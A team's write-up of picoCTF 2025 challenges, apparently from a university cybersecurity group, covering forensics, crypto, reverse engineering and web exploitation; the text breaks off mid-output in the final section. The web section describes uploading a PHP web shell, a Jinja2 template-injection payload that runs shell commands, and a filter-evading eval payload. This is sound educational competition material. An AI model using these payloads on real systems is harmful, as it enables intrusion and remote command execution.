---
# System prepended metadata

title: '**PicoCTF 2025 Write-Up**'

---

# **PicoCTF 2025 Write-Up**

[![hackmd-github-sync-badge](https://hackmd.io/HtXENiZJQG-w1EsEOZINpg/badge)](https://hackmd.io/HtXENiZJQG-w1EsEOZINpg)

> # Introduction
> The picoCTF 2025 Competition, organized by Carnegie Mellon University, was a cybersecurity competition where participants tried solving a designated number of problems within a specific timeframe. The competition took place from March 7, 2025 to March 17, 2025, and was available to anyone older than 13 years old with different leaderboards for Global, US Middle/High Schools, US Middle Schools, African HS/Undergraduate, and JP Students. [The Center of Excellence in Cybersecurity Research, Education, and Outreach](https://www.ncat.edu/research/centers/creo/index.php) (based out of North Carolina A&T State University in Greensboro, NC) had two participating teams. We are [Z3R0_D4Y](https://play.picoctf.org/teams/13242):
> 

|                    Member Name                     |                   Role                   |                  picoCTF 2025 Portfolio                  |
|:--------------------------------------------------:|:----------------------------------------:|:--------------------------------------------------------:|
| [Jaden Andrews](https://jadenandrews831.github.io) | Reverse Engineering, Binary Exploitation | [Portfolio](https://play.picoctf.org/participants/86339) |
|                   Elijah Flythe                    |             Web Exploitation             | [Portfolio](https://play.picoctf.org/participants/97291) |
|              Kaciopey Ikounga Moulolo              |       Cryptography, General Skills, Binary Exploitation       | [Portfolio](https://play.picoctf.org/participants/86757) |
|                   Delvan Paulino                   |        Forensics, General Skills         | [Portfolio](https://play.picoctf.org/participants/86756) |


Z3R0_D4Y ended the competition with **2,310** with **19/41** challenges solved, putting us in the top **20%** of all participating teams. This write-up comprises of the CTF challenges, their points values, and detailed steps for solving each challenge. Solutions are organized based on their category and point value.



---
# **General Skills**
## FANTASY CTF	

> **Points:** 10
> 
> **Solved By:** Delvan Paulino
>
> **Difficulty:** easy

![Screenshot 2025-03-19 201025](https://hackmd.io/_uploads/Bk7K6A_nJg.jpg)


### Summary: 
The FANTASY CTF was a brief introductory game designed to familiarize players with the terminal apps and provide answers to concerns about the picoCTF rules.

1. The first step of of the excerise was either using the picoCTF webshell  or cmd to connect to the adddress.![Step1](https://hackmd.io/_uploads/HyPAJJK2kg.jpg)

2. Throughout the question I answered them accodingly based on the offical rules of picoCTF
![Screenshot 2025-03-19 202430](https://hackmd.io/_uploads/Hk_Ul1Fhyl.jpg)

3. Finally, the flag is displayed at the end of the small quiz.

## Chalkboard

> **Points:** 100
> 
> **Solved By:** Delvan Paulino
>
> **Difficulty:** easy



### Summary: 
I was able to finish and provide a summary on how to tackle the Chalkboard PicoCTF challenge, which was taken out of the competition.![Screenshot 2025-03-19 205813](https://hackmd.io/_uploads/S1OH_kFh1g.jpg)


1. In order to locate a flag in the file that the Chalkboard challenge gave, I had to retrieve the text file. 
![Screenshot 2025-03-19 205048](https://hackmd.io/_uploads/SkMK81thkx.jpg)

2. I then needed to discover unique instances of the phrase "I WILL NOT BE SNEAKY" using the grep -v program.![Screenshot 2025-03-19 205632](https://hackmd.io/_uploads/rkT0wkYhke.jpg)


3.  Finally, I had to put the last flag together that was being written out using all of the "I WILL NOT BE SNEAKY" lines, which came out as follows: picoCTF {Chalkboard_bert_fd2e54c6} 



#### Solution:

## Rust-Fixme 1

> **Points:** 100 
> 
> **Solved By:** Kaciopey Ikounga
>
> **Difficulty:** easy

![Screenshot_19-3-2025_15318_play.picoctf.org](https://hackmd.io/_uploads/Syc-rqd21x.jpg)

### Summary:
The Rust code decrypts an XOR-encrypted flag using the key "CSUCKS" by performing a series of steps. First, it loads the encrypted flag stored as an array of hexadecimal values and converts these values into a byte array. It then applies XOR decryption by iterating through the byte array and XORing each byte with the corresponding byte of the key, repeating the key as needed. After decryption, the resulting byte array is converted into a readable string. Finally, the decrypted flag is printed, or an error message is displayed if the byte array cannot be converted to a valid readable string.

The overall goal of this program is to retrieve a hidden flag from its encrypted form

#### Solution:
![Screenshot 2025-03-20 101220](https://hackmd.io/_uploads/By7Pfsth1e.png)

I changed ret to return to exit the function properly, and then I changed :? to {} which correctly prints out a variable in the println! function, allowing the flag to be printed. 

![Screenshot 2025-03-20 102633](https://hackmd.io/_uploads/B1U6rithJe.png)






## Rust-Fixme 2

> **Points:** 100 
> 
> **Solved By:** Kaciopey Ikounga
>
> **Difficulty:** easy

![Screenshot_19-3-2025_15415_play.picoctf.org](https://hackmd.io/_uploads/rJEHH5d21e.jpg)

### Summary:
The Rust program decrypts a flag using XOR-based decryption with the key "CSUCKS". It converts hex-encoded encrypted data into bytes, decrypts it, and appends the result to a mutable string. The final message, including the decrypted flag, is then printed.

#### Solution:

The problem with the code was that it was passing &party_foul as an immutable reference (&String), but it was trying to mutate it inside decrypt().

![Screenshot 2025-03-20 103005](https://hackmd.io/_uploads/Hy7BwsFhkg.png)
![Screenshot 2025-03-20 103409](https://hackmd.io/_uploads/BJR_wsYnJe.png)

So, I added &mut to the decrypt function and the party_foul variable when it was passed to the decrypt function.

![Screenshot 2025-03-20 103703](https://hackmd.io/_uploads/r1UNdot2kx.png)
![Screenshot 2025-03-20 103826](https://hackmd.io/_uploads/r12O_oFnke.png)




---
# **Forensics**

## Ph4nt0m 1ntrud3r

> **Points:** 50
> 
> **Solved By:** Jaden Andrews
>
> **Difficulty:** Easy

### Solution:
![image](https://hackmd.io/_uploads/Sy_Figc3yg.png)

1. This challenge is contained within a `.pcap` file, so first, download the file and open it in Wireshark.
![image](https://hackmd.io/_uploads/HJAL2g5nkg.png)
2. Observe that some of the packets have a negative time value, and the packets are not sorted in time order. Filter the traffic by `time`:

![image](https://hackmd.io/_uploads/ByX1Tgcnkx.png)

3. Double-click on the packet with `No. 1` to see the body:

![image](https://hackmd.io/_uploads/Byo76xq3Jx.png)

* At the very end of the body is a value that resembles `Base64`.

4. Copy the suspicious value `ezF0X3c0cw==` and decode it with the 'base64' command:
```
$ echo ezF0X3c0cw== | base64 -d | more
{1t_w4s
```
* The returned value resembles the start of a flag

5. Repeat steps `3` and `4` for each packet that comes after the previous in time order:
```
$ echo bnRfdGg0dA== | base64 -d | more
nt_th4t
$ echo XzM0c3lfdA== | base64 -d | more
_34sy_t
...
```
* Ultimately, this process will give you all parts of the flag.
> Remember to put picoCTF at the beginning of the flag (i.e. `picoCTF{flag_data_goes_here}`)

## RED	

> **Points:** 100
> 
> **Solved By:** Delvan Paulino
>
> **Difficulty:** easy

![Screenshot 2025-03-19 202720](https://hackmd.io/_uploads/H1LMWyF31l.jpg)

### Summary: 
The RED picoCTF challange involved steganography being used in the RED picoCTF challenge to retrieve and decode the flag concealed in the png. 

1. I downloaded the image to my shell using the command wget and the picoCTF webshell in order to take on this challenge.![Screenshot 2025-03-19 203304](https://hackmd.io/_uploads/SyC8M1FhJg.jpg)

2. Following the download of the photos, I used the cat command to analyze the red.png file and explain its contents before directing it to an output.txt file.![Screenshot 2025-03-19 203733](https://hackmd.io/_uploads/BJ5D71Kn1x.jpg)

3. I then chose to read the message using zsteg in the pico CTF shell, which resulted in a base 64 string.![Screenshot 2025-03-19 203958](https://hackmd.io/_uploads/rJslN1F21l.jpg)

4. Finally, I created a viewable flag to redeem the points by decoding the string using an online base64 decoder. ![Screenshot 2025-03-19 204220](https://hackmd.io/_uploads/r1OK4kY2yg.jpg)


---
# **Cryptography**
## HashCrack 

> **Points:** 100
> 
> **Solved By:** Kaciopey Ikounga
>
> **Difficulty:** Easy

### Solution:
![Screenshot_19-3-2025_121647_play.picoctf.org](https://hackmd.io/_uploads/BkS0pKuhJx.jpg)

#### Step1:
I accessed the server and got a hashed passord
![Screenshot 2025-03-08 141910](https://hackmd.io/_uploads/Bkroy9_3kx.png)

#### Step2:
I used online tools first to check if it was in any database and used Crackstation to decript it.
![Screenshot 2025-03-08 141943](https://hackmd.io/_uploads/Sks-W5OhJg.png)

#### Step3: 
I did this multiple times before I got the flag.
![Screenshot 2025-03-08 142413](https://hackmd.io/_uploads/HkKqbq_3yl.png)


---
# **Web Exploitation**
### **Cookie Monster Secret Recipe - Elijah Flythe**


##### Step 1: Accessing Cookies via Developer Tools
I started by opening the browser’s Developer Tools (usually by right-clicking on the page and selecting "Inspect" or pressing F12). I then navigated to the Storage tab and examined the Cookies for the target website.

##### Step 2: Identifying the Secret Recipe
While reviewing the stored cookies, I discovered one that appeared suspicious and contained a long, encoded string.

#### Step 3: Decoding the Secret Recipe
Upon further inspection, I identified the encoding format as Base64. I decoded the string using an online tool or a simple script, revealing the secret recipe in plain text.

### **Head-dump - Elijah Flythe**

#### Step 1: Viewing the Page Source
I began by examining the page source of the target website (right-click -> "View Page Source" or press Ctrl+U).

#### Step 2: Inspecting Java Files
While analyzing the source code, I noticed a reference to a Java file. I followed the link to view the contents and identified a heap dump file embedded within or linked from the script.

#### Step 3: Downloading and Analyzing the Heap Dump
I downloaded the heap dump file and used PowerShell to inspect its contents. After careful examination, I successfully located the flag.
![image](https://hackmd.io/_uploads/rynAx9Phyx.png)

### **Nosanity 1 - Elijah Flythe**  
### 
#### Step 1: Identifying Vulnerability
During testing, I discovered that the application did not properly sanitize file upload inputs. This indicated a potential vulnerability that could be exploited via file upload.

#### Step 2: Crafting the Payload
I created a PHP payload file designed to open a reverse shell when provided with a command. The payload was constructed to accept commands via a URL parameter (`?cmd=whoami`).

#### Step 3: Uploading and Accessing the Payload
I uploaded the payload through the file upload functionality and navigated to the uploaded file’s path using the URL:

`/uploads/shell.php`

#### Step 4: Executing Commands
Since the payload would not execute without a command, I appended a query string to test it:

`/uploads/shell.php?cmd=whoami`

This returned root, confirming successful execution.

#### Step 5: Privilege Escalation
After numerous attempts with various commands (sudo -l, sudo whoami, sudo su), I identified that one of these commands worked, granting me elevated privileges and confirming root access.

![image](https://hackmd.io/_uploads/Sy62Zcwn1l.png)

### **SSTI1 - Elijah Flythe**

#### Step 1: Researching Server-Side Template Injection 
I began by researching Server-Side Template Injection  vulnerabilities and their exploitation techniques. I then experimented with various payloads to determine the template engine used by the application.

#### Step 2: Identifying the Template Engine
Through trial and error, I discovered that the application was using the Jinja2 template engine. This information allowed me to craft more targeted payloads.

#### Step 3: Locating the Flag
Next, I brute-forced several injection payloads to identify the file path of the flag. Eventually, I determined that the flag was located at:

`/challenge/flag`

#### Step 4: Exploiting the Injection
With the file path identified, I crafted a payload to read the contents of the flag file using Jinja2’s capabilities:

`{{config.__class__.__init__.__globals__['os'].popen('cat /challenge/flag').read()}}`

Executing this injection successfully retrieved the flag in plain text.

## **WebSockFish**

> **Points:** 200
> 
> **Solved By:** Jaden Andrews
>
> **Difficulty:** Medium

### Solution:
![image](https://hackmd.io/_uploads/B1F38vs3ke.png)

1. This challenge, called `WebSockFish`, likely uses web sockets, so running the traffic through a web proxy, like `Burp Suite`, will allow you to reveal the web socket traffic. 
2. Launching the challenge will display the following chess game:

![image](https://hackmd.io/_uploads/HyIsL432ye.png)

* Note the message `I'm just a fish, but I know a thing or two about chess`
3. Make a few moves, then check the web proxy for web socket traffic:

![image](https://hackmd.io/_uploads/B1hZj432kg.png)
* Note the message `I think my game is going pretty swimmingly :)`

* Observing the Web Socket traffic, you can see:
### First Client Message:
![image](https://hackmd.io/_uploads/ryRwiVhnkl.png)
### First Server Message:
![image](https://hackmd.io/_uploads/B1HcjVh3Je.png)
### Second Client Message: 
![image](https://hackmd.io/_uploads/H1KzhEhhJg.png)
### Second Server Message: 
![image](https://hackmd.io/_uploads/rJnB2Nhhyx.png)
### Third Client Message:
![image](https://hackmd.io/_uploads/ryZGAVn3ye.png)
### Third Server Message:
![image](https://hackmd.io/_uploads/B1SFhEn3kx.png)
### Fourth Client Message: 
![image](https://hackmd.io/_uploads/SyqErHh21e.png)

### Fourth Server Message: 
![image](https://hackmd.io/_uploads/HJbK6E2hyl.png)
> * All the messages from the client take a basic form, `eval <number>`, where some number values are negative and others are not.
> * After the first move, the value of the `<number>` continually increases. 
> * As the value of the `<number>` increases, and eventually becomes positive, the message from the server eventually changes from `I think this position is pretty equal` to `I think my game is going pretty swimmingly`

* With all of this in mind, it can be deduced that a positive `<number>` indicates that the player is losing.

4. In `Burp Suite`, identify any message `To server`, and send it to the repeater to that it may be modified:
![image](https://hackmd.io/_uploads/BkE5fB2nJl.png)


* Note that sending a large negative `<number>` value produces an entirely new message `Are you sure about that move :)`. Initially, this may be discouraging, but sending an even larger negative `<number>` has the following affect:

![image](https://hackmd.io/_uploads/HJzz7Sh31l.png)




### **3VAL - Elijah Flythe**

#### Step 1: Injection and RCE Discovery
The challenge was injection-based, ultimately leading to Remote Code Execution. The input was highly sanitized, making standard payloads ineffective.

#### Step 2: Bypassing Input Sanitization
To overcome the sanitization, I developed a payload that used character encoding to bypass filtering. The payload constructed the file path character by character:

`open(chr(47)+chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()`

This effectively translates to:

`open('/flag.txt').read()`

#### Step 3: Retrieving the Flag
Since the challenge had already provided the flag file name (flag.txt), I used this injection to directly read the file contents. The payload executed successfully, pulling the flag via the cat command.

## **Apriti Sesamo**

> **Points:** 300
> 
> **Solved By:** Jaden Andrews
>
> **Difficulty:** Medium

### Solution:
![image](https://hackmd.io/_uploads/SkjUiDi3kl.png)

1. Initially trying to do this challenge, there was no indication of what was needed to solve it. `Apriti sesamo` essentially means `Open Sesame` in italian, which was not a significant clue. The home page only had a button to the login page, and there was no indication of how the login functionality worked. Inducing errors did not seem to cause any desireable effects. To get more information, I took a look at the hints that were available, which were as follows:
> * `Backup files`
> * `Rumor has it, the lead developer is a militant emacs user`

* These were significant hints about how the challenge could be solved. I now knew to look for a backup version of the login page to get more information about how it functioned. I just needed to add an `~` to the end of the url, since this is the scheme used by `emacs` to denote which files are backups.
2. Using the information above, get the backup file for the login page, like so:

![image](https://hackmd.io/_uploads/BJI7KSn2Jx.png)

* Upon initial inspection of the webpage, there is nothing immediately different, however by inspecting the source code you will immediately notice some new, commented lines of php:
```
<!--?php
 if(isset($_POST[base64_decode("\144\130\x4e\154\x63\155\x35\x68\142
 \127\125\x3d")])&& isset($_POST[base64_decode("\143\x48\x64\x6b")]))
 {$yuf85e0677=$_POST[base64_decode("\144\x58\x4e\154\x63\x6d\65\150\x62
\127\x55\75")];$rs35c246d5=$_POST[base64_decode("\143\x48\144\153")];
if($yuf85e0677==$rs35c246d5){echo base64_decode("\x50\x47\112\x79
\x4c\172\x35\x47\x59\127\154\163\132\127\x51\x68\111\x45\x35\166
\x49\x47\132\163\131\127\x63\x67\x5a\155\71\171\111\x48\x6c\166\x64
\x51\x3d\x3d");}else{if(sha1($yuf85e0677)===sha1($rs35c246d5)){echo
file_get_contents(base64_decode("\x4c\151\64\166\x5a\x6d\x78\x68\x5a
\x79\65\60\145\110\x51\75"));}else{echo base64_decode("\x50\107\112
\171\x4c\x7a\65\107\x59\x57\154\x73\x5a\127\x51\x68\x49\105\x35\x76
\111\x47\132\x73\131\127\x63\x67\x5a\155\71\x79\x49\110\154\x76\x64
\x51\x3d\75");}}}?-->
```

* This essentially defines how the login functionality works, as follows: 
> * First, it tests to make sure that the username and password values are not the same.
> * Then, it tests to see if the username and password produce the same `SHA1` value.
> * If the values are the same, then the program will load and output the value of `../flag.txt`

* So, essentially, the challenge is to find a hash collision for `SHA1` that can be used for the username and password.

3. Looking online, you will find the following two files have a `SHA1` hash collision:
> * PDF 1: https://shattered.io/static/shattered-1.pdf
> * PDF 2: https://shattered.io/static/shattered-2.pdf

* URL encoding each file's contents and passing them as the username and password parameters will initiate a successful login and return the flag:
![image](https://hackmd.io/_uploads/BJRAWga2kx.png)


---
# **Reverse Engineering**
## **Flag Hunters**

> **Points:** 75
> 
> **Solved By:** Jaden Andrews
>
> **Difficulty:** Easy


### Solution:
![image](https://hackmd.io/_uploads/BJld-NvnJx.png)
1. In this challenge, you are given the source code for the server `lyric_reader.py`, but the flag is hidden within a file called `flag.txt`, which is not given. In order to solve the challenge, download the source code and create a test flag file with some recognizeable text:

```
$ echo "flag text goes here" > flag.txt
$ cat flag.txt
flag text goes here
```

2. Next, run the source code and observe the output:

```
$ python lyric_reader.py
Command line wizards, we’re starting it right,
Spawning shells in the terminal, hacking all night.
Scripts and searches, grep through the void,
Every keystroke, we're a cypher's envoy.
Brute force the lock or craft that regex,
Flag on the horizon, what challenge is next?

We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd:
```

Song lyrics are printed to stdout, and the program waits for user input. Use a test string to see what happens:
```
...
Crowd: test

Echoes in memory, packets in trace,
Digging through the remnants to uncover with haste.
Hex and headers, carving out clues,
Resurrect the hidden, it's forensics we choose.
Disk dumps and packet dumps, follow the trail,
Buried deep in the noise, but we will prevail.

We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd: test

...

We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd: test

...

We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd: test

...
```
Observe that the test string is repeated within the output until execution of the program has concluded. 

3. To determine how this user input is being handled, inspect the source code:
> 3.1 - The flag is read from a file `flag.txt` into a variable `flag`:

```
# lyric_reader.py
...
5: # Read in flag from file
6: flag = open('flag.txt', 'r').read()
...
```
> `flag` is then added to the end of another string, `secret_intro`:
 ```
# lyric_reader.py
...
8:  secret_intro = \
9:  '''Pico warriors rising, puzzles laid bare,
10: Solving each challenge with precision and flair.
11: With unity and skill, flags we deliver,
12: The ether’s ours to conquer, '''\
13: + flag + '\n'
 ```
> Finally, this is all added to `song_flag_hunters` and passed to `reader(song, startLabel)`:
```
# lyric_reader.py
...
16: song_flag_hunters = secret_intro +\
17: '''
18: 
19: [REFRAIN]
20: We’re flag hunters in the ether, lighting up the grid,
21: No puzzle too dark, no challenge too hid.
22: With every exploit we trigger, every byte we decrypt,
23: We’re chasing that victory, and we’ll never quit.
24: CROWD (Singalong here!);
25: RETURN
26: 
27: [VERSE1]
28: Command line wizards, we’re starting it right,
29: Spawning shells in the terminal, hacking all night.
30: Scripts and searches, grep through the void,
...
34: 
35: REFRAIN;
36: 
37: Echoes in memory, packets in trace,
38: Digging through the remnants to uncover with haste.
...
43: 
44: REFRAIN;
...
132: reader(song_flag_hunters, '[VERSE1]')
'''
```
Notice, these song lyrics were printed to stdout without the `secret_intro` when the program was run:

> 3.2 - `song_flag_hunters` is passed to `reader(song, startLabel)` as `song`.
```
# lyric_reader.py
...
87: def reader(song, startLabel):
88:   lip = 0
89:   start = 0
90:   refrain = 0
91:   refrain_return = 0
92:   finished = False
93: 
94:   # Get list of lyric lines
95:   song_lines = song.splitlines()
96:
97: # Find startLabel, refrain and refrain return
98:   for i in range(0, len(song_lines)):
99:     if song_lines[i] == startLabel:        # '[VERSE1]' was passed as 'startLabel', which is why the output skips the 'secret_intro'
100:       start = i + 1
...
111: for line in song_lines[lip].split(';'):    # Every line of the song is further split if it contains a semicolon
...
117:     elif re.match(r"CROWD.*", line):
118:         crowd = input('Crowd: ')        # User input is requested
...
121:     elif re.match(r"RETURN [0-9]+", line):    # If the command is 'RETURN <number>', 
122:         lip = int(line.split()[1])            # The program starts reading 'song_flag_hunters' at line <number>
...
```

4. To print the `secret_intro`, give some user input that will cause the program to read it:
> 4.1 - First, use a test input, like `test;`, which has a semicolon at the end:
```
$ python lyric_reader.py
...
Crowd: test;
...
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd: test
...
Crowd: test
...
```
> Notice that the semicolon from the input has disappeared. This is because `;` is a control character, as the program will split the line wherever one is found and conduct different operations based on each section of the line it deliminates. 
> 
> 4.2 - Use an input with the operation `RETURN 0`, so the program knows to read from the beginning:
```
$ python lyric_reader.py
...

Crowd: test;RETURN 0
...
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd: test
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, flag text goes here
...
```
The string value from the local `flag.txt` is found in the output, so a useful payload has been found.

5. Verify the solution by submitting it to the server. 
```
$ nc verbal-sleep.picoctf.net 59014
...
Crowd: test;RETURN 0

Echoes in memory, packets in trace,
Digging through the remnants to uncover with haste.
...
We’re flag hunters in the ether, lighting up the grid,
No puzzle too dark, no challenge too hid.
With every exploit we trigger, every byte we decrypt,
We’re chasing that victory, and we’ll never quit.
Crowd: test
Pico warriors rising, puzzles laid bare,
Solving each challenge with precision and flair.
With unity and skill, flags we deliver,
The ether’s ours to conquer, picoCTF{flag_was_found_here}
```

## Tap into Hash
> **Points:** 200
> 
> **Solved By:** Jaden Andrews
>
> **Difficulty:** Medium

### Solution:
![image](https://hackmd.io/_uploads/rJ8-wHP3yg.png)

1. Download the given files (`enc_flag` and `block_chain.py`), then print the contents of `enc_flag`:
```
$ cat enc_flag 
Key: b'Z\xa3\xf6\xd4\xdb\x8a\x9c\x10\x84\xf8\xb6\xb0:\x1c\xce\xca\xbfX\x96\x9d\x87\tm\xd6\xbe4a\xc5\xd5\x91^\x98'
Encrypted Blockchain: b'o\xd3\xefR\xf9@\x01(\xebg\xf0\xed\xc5K\xcc\x87>\x83\xe8\x05\xaeB\x02)\xbe2\xa7\xe2\xc6\x19\x97\xd2h\xd9\xeaW\xfcF\x05+\xb20\xf4\xb7\x97N\x9f\
xd5e\xd2\xeb\x02\xf9FVx\xeb`\xa2\xe4\xc7M\x9c\x85p\xd1\xe8P\xffOR.\xee5\xa6\xb6\x94\x18\x9e\x84i\xd6\xbaQ\xf9\x14\x00.\xee3\xa2\xe4\x93\x1c\x9a\x83h\x87\xea\x01\xf8FV"\xbbe\xa2\xb6\x93N\x9b\xd5l\xd4\xbaU\xa8\x17Z.\xbdb\xa6\xe5\xc7H\xcc\x8fk\xcc\xe8P\xa9C\x07(\xbd<\xf4\xe7\xc6\x18\x99\x
d0;\x82\xe0\x01\xa8GQz\xeb6\xaf\xe5\xc7H\xca\x829\xd2\xa8\t\xa9\x19 
O\xcc\x7f\xf4\xb9\x99\x1e\xc5\xe9n\xb2\x8a\x08\x9c\x1f1y\xde5\xe7\xb6\xae"\xf6\xe37\xac\xe8\x12\xfeO\x00S\xd5u\xd5\xaf\x9b7\xf4\xcc\x1f\xaa\x87
T\xff\x15\x07)\xeb1\xa4\xa8\x92D\x9b\xd5k\x87\xebQ\xac\x17U,\xb93\xf2\xe4\x92I\x96\xd3l\x87\xbcQ\xa8DV*\xb3f\xf4\xb6\xdbM\x9e\x82e\xd6\xbcY\xfd
NQ"\xbc4\xf3\xe4\xc4I\x97\x858\xd8\xbcQ\xabDZ+\xe83\xa7\xb7\xc2I\x9f\xd7d\x80\xee\x01\xafG\x07,\xbf7\xa3\xe6\x95\x1c\x99\xd7m\xd0\xb9Y\xacCU}\x
ece\xaf\xb3\x90P\x9e\x86n\x82\xbaQ\xae\x14W/\xec`\xf0\xe7\xc0N\x9a\x81m\xd6\xe8Y\xa8BU(\xbd6\xa1\xe1\xc1J\x97\x81j\x87\xbbV\xfeBW~\xbf3\xa6\xb6
\xc2\x18\x97\xd0>\xd4\xeaU\xf8\x13\x01-\xeb2\xf2\xe5\xc5\x19\xac\xb4'
```
Note that this returns the encryption key and an encrypted blockchain.

2. Next, analyze the source code. `block_chain.py` has 10 functions total, but 7 that are particularly important:

#### main(token):
```
91: def main(token):
92:     key = bytes.fromhex(random_string)
...
96:     genesis_block = Block(0, "0", int(time.time()), "EncodedGenesisBlock", 0)
97:     blockchain = [genesis_block]
98: 
99:     for i in range(1, 5):
100:        encoded_transactions = base64.b64encode(
101:            f"Transaction_{i}".encode()).decode('utf-8')
102:        new_block = proof_of_work(blockchain[-1], encoded_transactions)
103:        blockchain.append(new_block)
104:
105:     all_blocks = get_all_blocks(blockchain)
106: 
107:     blockchain_string = blockchain_to_string(all_blocks)
108:     encrypted_blockchain = encrypt(blockchain_string, token, key)
109: 
110:     print("Encrypted Blockchain:", encrypted_blockchain)
```
> `main(token)` does a lot, but primarily it:
> * Initializes the encryption key, setting it equal to a byte string of random data, then prints it to stdout.
> * Initializes the blockchain by creating the genesis block.
> * Adds 4 transactions to the blockchain by:
> > * Encoding the transaction name:
> > > 1. As a byte string
> > > 2. Then into base64
> > > 3. Finally, decoding the characters as utf-8 values.
> > * Passes the encoded transaction name and the previous block (genesis block if first) to `proof_of_work(blockchain[-1], encoded_transactions)` (`new_block`)
> > * Adds `new_block` to the `blockchain` list
> * Calls `get_all_blocks(blockchain)`, passes the output to `encrypt(blockchain_string, token, key)`, and finally prints the `encrypted_blockchain` to stdout

#### proof_of_work(previous_block, encoded_transactions):
```
21: def proof_of_work(previous_block, encoded_transactions):
22:     index = previous_block.index + 1
23:     timestamp = int(time.time())
24:     nonce = 0
25: 
26:     block = Block(index, previous_block.calculate_hash(),
27:                   timestamp, encoded_transactions, nonce)
28: 
29:     while not is_valid_proof(block):
30:         nonce += 1
31:         block.nonce = nonce
32: 
33:     return block
```
> `proof_of_work(previous_block, encoded_transactions)` will:
> * Get the index of the `previous_block` and add 1 to it to get the current index.
> * Initialize the timestamp for the current blocks creation
> * Initialize a nonce of 0
> * Initialize a new Block object `Block(index, previous_hash, timestamp, encoded_transactions, nonce)`
> * Determine if the hash value is valid by verifying the hash starts with two zeroes `00`, otherwise, the hash is recalculated after increasing the nonce value by one, and it is then checked again.
> * After the hash value is verified as valid, the created block object is returned by the function.

#### gets_all_blocks(blockchain):
```
45: def get_all_blocks(blockchain):
46:     return blockchain
```

> `get_all_blocks(blockchain)` will:
> * Return the given blockchain array

#### blockchain_to_string(blockchain):
```
49: def blockchain_to_string(blockchain):
50:     block_strings = [f"{block.calculate_hash()}" for block in blockchain]
51:     return '-'.join(block_strings)
```
> `blockchain_to_string(blockchain)` will:
> * Make a list of eacho block's hash value, then returns it as a `-` delimited string.

#### encrypt(plaintext, inner_txt, key):
```
54: def encrypt(plaintext, inner_txt, key):
55:     midpoint = len(plaintext) // 2
56: 
57:     first_part = plaintext[:midpoint]
58:     second_part = plaintext[midpoint:]
59:     modified_plaintext = first_part + inner_txt + second_part
60:     block_size = 16
61:     plaintext = pad(modified_plaintext, block_size)
62:     key_hash = hashlib.sha256(key).digest()
63: 
64:     ciphertext = b''
65: 
66:     for i in range(0, len(plaintext), block_size):
67:         block = plaintext[i:i + block_size]
68:         cipher_block = xor_bytes(block, key_hash)
69:         ciphertext += cipher_block
70: 
71:     return ciphertext
```
> `encrypt(plaintext, inner_txt, key)` will:
> * Initializes a variable for the midpoint of the given plaintext by finding the length and dividing it in half using integer division (`midpoint`)
> * Initializes a variable for the first part of the modified plaintext by getting everything in the plaintext from the start of the midpoint (`first_part`)
> * Initializes a variable for the second part of the modified plaintext by getting everything in the plaintext after the midpoint (`second_part`)
> * Creates a variable for the entire modified plaintext by combining `first_part`, `inner_txt`, and `second_part` (`modified_plaintext`)
> * Sets a `block_size` of 16
> * Overwrites `plaintext` with the output of `pad(modified_plaintext, block_size)`
> * Iterates over the plaintext in `block_size` increments and calls `xor_bytes(block, key_hash)` and adds the output to a string `ciphertext`, which returned after each block has been added.

#### pad(data, block_size):
```
74: def pad(data, block_size):
75:     padding_length = block_size - len(data) % block_size
76:     padding = bytes([padding_length] * padding_length)
77:     return data.encode() + padding
```

> `pad(data, block_size)` will:
> * Calculate the number of bytes which need to be added to the given data
> * Adds `block_size` number of bytes to `padding`, encoded as `\x<block_size><block_size>...`
> * Returns the `data`, byte encoded plus the `padding`

#### xor_bytes(a, b):
```
80: def xor_bytes(a, b):
81:     return bytes(x ^ y for x, y in zip(a, b))
```
> `xor_bytes(a, b)` will:
> * Return a byte string, which contains at each index the value of the plaintext byte xor'ed by the current key index value.

3. Reverse the Encryption

> 3.1 - In a python session, copy the `Encrypted Blockchain` value from `enc_flag` into a variable, like so:
```
>>> enc_flag = b'o\xd3\xefR\xf9@\x01(\xebg\xf0\xed\xc5K\xcc\x87>\x83...
```

> 3.2 - Then, divide that variable into groups of 16:
```
>>> g_flag = [enc_flag[i:i+16] for i in range(0, len(enc_flag), 16)]
```

> 3.3 - Then, xor encrypt each byte of the flag against the given key and add each value to an array:
```
>>> for g in g_flag:
       ar += [x^y for x, y in zip(g, hashlib.sha256(b'Z\xa3\xf6\xd4\xdb\x8a\x9c\x10\x84\xf8\xb6\xb0:\x1c...').digest())]
```

> 3.4 - Finally, ASCII decode each character to get the `modified_plaintext` from `encrypt(plaintext, inner_txt, key)`, which contains the flag value in the middle:

```
''.join([chr(x) for x in ar])
'227236b3acf836b1<truncated>picoCTF{flag_data_goes_here}d95c6f31fa67<truncated>'

```

## Quantum Scrambler
> **Points:** 200
> 
> **Solved By:** Jaden Andrews
>
> **Difficulty:** Medium

### Solution:
![image](https://hackmd.io/_uploads/B10Ve-5h1e.png)

1. In this challenge, you are given the source code for the app `quantum_scram`, but the flag is hidden within a file called `flag.txt`, which is not given. In order to solve the challenge, download the source code and create a test flag file with some recognizeable text:

```
$ echo "flag text goes here" > flag.txt
$ cat flag.txt
flag text goes here
```
2. Connect to the server and observe the output:
```
$ nc verbal-sleep.picoctf.net <port>
[['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70', '0x69']],
'0x54'], ['0x46', [['0x70', '0x69'], ['0x63', [], '0x6f']], '0x7b'],
['0x70', [['0x70', '0x69'], ['0x63', [], '0x6f'], ['0x43', [['0x70',
